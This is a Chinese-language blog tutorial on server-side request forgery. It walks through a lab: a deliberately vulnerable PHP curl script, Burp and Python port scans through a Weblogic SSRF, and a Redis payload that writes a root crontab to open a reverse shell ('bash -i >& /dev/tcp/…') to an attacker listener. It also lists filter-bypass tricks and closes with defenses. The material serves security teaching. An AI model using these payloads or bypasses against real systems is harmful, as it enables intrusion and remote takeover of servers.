「漏洞筆記」淺談SSRF原理及其利用

聲明:本文僅用作技術交流學習分享用途,嚴禁將本文中涉及到的技術用法用於違法犯罪目的。

0x00 漏洞說明

SSRF (Server-Side Request Forgery) 即服務端請求偽造,從字面意思上理解就是偽造一個服務端請求,也即是說攻擊者偽造服務端的請求發起攻擊,攻擊者藉由服務端為跳板來攻擊目標系統,既然是跳板,也就是表明攻擊者是無法直接訪問目標服務的,為了更好的理解這個過程,我從網上找了一張圖,貼在了下面。

「漏洞筆記」淺談SSRF原理及其利用

0x01 漏洞影響

上面簡單介紹了一下SSRF的原理,那麼SSRF能幹什麼,產生哪些危害呢?

利用SSRF可以進行內外網的端口和服務探測、主機本地敏感數據的讀取、內外網主機應用程序漏洞的利用等等,可以說SSRF的危害不容小覷了。

0x02 漏洞發現

既然SSRF有這些危害,那我們要怎麼發現哪裡存在SSRF,發現了又怎麼利用呢?接下來就好好嘮嘮這點。

可以這麼說,能夠對外發起網絡請求的地方,就可能存在SSRF漏洞,下面的內容引用了先知社區的一篇文章,文章鏈接在底部。

具體可能出現SSRF的地方:

1.社交分享功能:獲取超鏈接的標題等內容進行顯示

2.轉碼服務:通過URL地址把原地址的網頁內容調優使其適合手機屏幕瀏覽

3.在線翻譯:給網址翻譯對應網頁的內容

4.圖片加載/下載:例如富文本編輯器中的點擊下載圖片到本地;通過URL地址加載或下載圖片

5.圖片/文章收藏功能:主要網站會取URL地址中title以及文本的內容作為顯示以求一個好的用戶體驗

6.雲服務廠商:它會遠程執行一些命令來判斷網站是否存活等,所以如果可以捕獲相應的信息,就可以進行SSRF測試

7.網站採集,網站抓取的地方:一些網站會針對你輸入的url進行一些信息採集工作

8.數據庫內置功能:數據庫的比如mongodb的copyDatabase函數

9.郵件系統:比如接收郵件服務器地址

10.編碼處理, 屬性信息處理,文件處理:比如ffpmg,ImageMagick,docx,pdf,xml處理器等

11.未公開的api實現以及其他擴展調用URL的功能:可以利用google 語法加上這些關鍵字去尋找SSRF漏洞,一些的url中的關鍵字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.從遠程服務器請求資源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎對象的地方 如wordpress xmlrpc.php)

0x03 漏洞驗證

1、因為SSRF漏洞是構造服務器發送請求的安全漏洞,所以我們可以通過抓包分析發送的請求是否是由服務器端發送的來判斷是否存在SSRF漏洞

2、在頁面源碼中查找訪問的資源地址,如果該資源地址類型為下面這種樣式則可能存在SSRF漏洞

<code>http://www.xxx.com/a.php?image=(地址)/<code>

0x04 漏洞利用

1、一個簡單的測試靶場

測試PHP代碼:

<code>function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>/<code>

利用phpstudy或者寶塔搭建好靶場後,訪問自己的url地址。

<code>http://192.168.38.132/ssrf.php?url=teamssix.com/<code>
「漏洞筆記」淺談SSRF原理及其利用

如果服務器有其他服務只能本地訪問,比如phpmyadmin,則可以構造ssrf.php?url=127.0.0.1、phpmyadmin進行訪問,接下來看看利用SSRF掃描目標主機端口

打開Burp,抓包發到Intruder,設置Payload位置

「漏洞筆記」淺談SSRF原理及其利用

將載荷類型設置為number,數字範圍從1-65535,開始爆破

「漏洞筆記」淺談SSRF原理及其利用

根據響應長度及響應碼,可以判斷出80、3389是開放著的

「漏洞筆記」淺談SSRF原理及其利用

2、Weblogic漏洞復現

搭建環境參考:https://blog.csdn.net/qq_36374896/article/details/84102101

搭建好之後,訪問 IP:7001/uddiexplorer/ 即可訪問,如果搭建在本機, IP 就是127.0.0.1。

1、漏洞存在測試

Weblogic 的 SSRF 漏洞地址在 /uddiexplorer/SearchPublicRegistries.jsp ,開啟Burp代理後,來到漏洞地址,隨便在搜索框裡輸點東西,點擊 search 按鈕抓包

「漏洞筆記」淺談SSRF原理及其利用

可以看到在請求包裡的 operator 參數值為URL,說明此處可能存在SSRF漏洞

「漏洞筆記」淺談SSRF原理及其利用

將 operator 參數值為改為其他URL,再次進行發包測試

「漏洞筆記」淺談SSRF原理及其利用

把響應包翻到底部,可以很明顯的看到靶機對我們修改後的URL進行了訪問,接下來把URL端口修改一下,也就是讓靶機請求一個不存在的地址

「漏洞筆記」淺談SSRF原理及其利用

這時靶機返回信息提示連接不到服務,通過上面的兩步測試可以判斷出該目標是存在SSRF漏洞的。

2、通過Redis服務反彈shell

既然想通過Redis服務反彈Shell,就需要先知道Redis服務的內網IP,這裡因為是本地環境,內網IP就直接查看了,如果公網的話就要看前期信息收集怎麼樣了,當然爆破IP也是可以的。

進入 redis服務 的shell,查看內網IP

<code>:~/vulhub/weblogic/ssrf# docker exec -it ssrf_redis_1 bash
[root@5d9f91f455b6 /]# ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:AC:12:00:02
inet addr:172.18.0.2 Bcast:172.18.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:129 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:13176 (12.8 KiB) TX bytes:0 (0.0 b)/<code>

知道內網IP後,就能掃描端口了,下面是我寫的一個小腳本,當然用Burp也是可以的

<code>import requests
url = 'http://192.168.38.134:7001/uddiexplorer/SearchPublicRegistries.jsp?'
headers = {'Content-Type':'application/x-www-form-urlencoded'}
for port in range(1,65535):
data = 'operator=http://172.18.0.2:{}&rdoSearch=name&txtSearchname=teamsix&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search'.format(port)
r = requests.post(url,headers=headers,data=data)
if 'Tried all' not in r.text:
print('\\n\\n[+] {} 發現端口\\n\\n'.format(port))/<code>

執行腳本

<code>~# python3 ssrf_portscan.py
[+] 6379 發現端口/<code>

通過掃描發現Redis服務的默認端口6373是開放的。

接下來使用Burp寫入shell,注意下面的IP地址為自己nc監聽的地址

<code>http://172.18.0.2:6379/test

set 1 "\\n\\n\\n\\n* * * * * root bash -i >& /dev/tcp/192.168.10.30/4444 0>&1\\n\\n\\n\\n"
config set dir /etc/
config set dbfilename crontab
save

aaa/<code>
「漏洞筆記」淺談SSRF原理及其利用

如果使用 Burp 的話,直接把那幾行代碼複製到 operator 參數後面就行,就不用URL編碼了。

如果反彈不回 Shell ,在確定各個 IP、端口等參數都沒有問題的情況下,Burp 裡多點幾次幾次發送就可以了,我有時候都需要點個幾十次才能反彈 Shell ,感覺有些情況下反彈 Shell 是個比較玄學的東西。

「漏洞筆記」淺談SSRF原理及其利用

0x05 繞過技巧

1、添加端口號:http://127.0.0.1:8080

2、短網址繞過:http://dwz.cn/11SMa

3、IP限制繞過:十進制轉換、八進制轉換、十六進制轉換、不同進制組合轉換

4、協議限制繞過:當url協議限制只為http(s)時,可以利用follow redirect特性,構造302跳轉服務,結合dict://,file://,gopher://

5、可以指向任意ip的域名:xip.io

6、@ http://[email protected]

0x06 SSRF防禦

1、過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那麼在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。

2、統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠程服務器的端口狀態。

3、限制請求的端口為http常用的端口,比如80,443,8080,8090

4、黑名單內網ip。避免應用被用來獲取內網數據,攻擊內網

5、禁用不需要的協議。僅僅允許http和https請求。可以防止類似於file:///,gopher://,ftp:// 等引起的問題


分享到:


相關文章: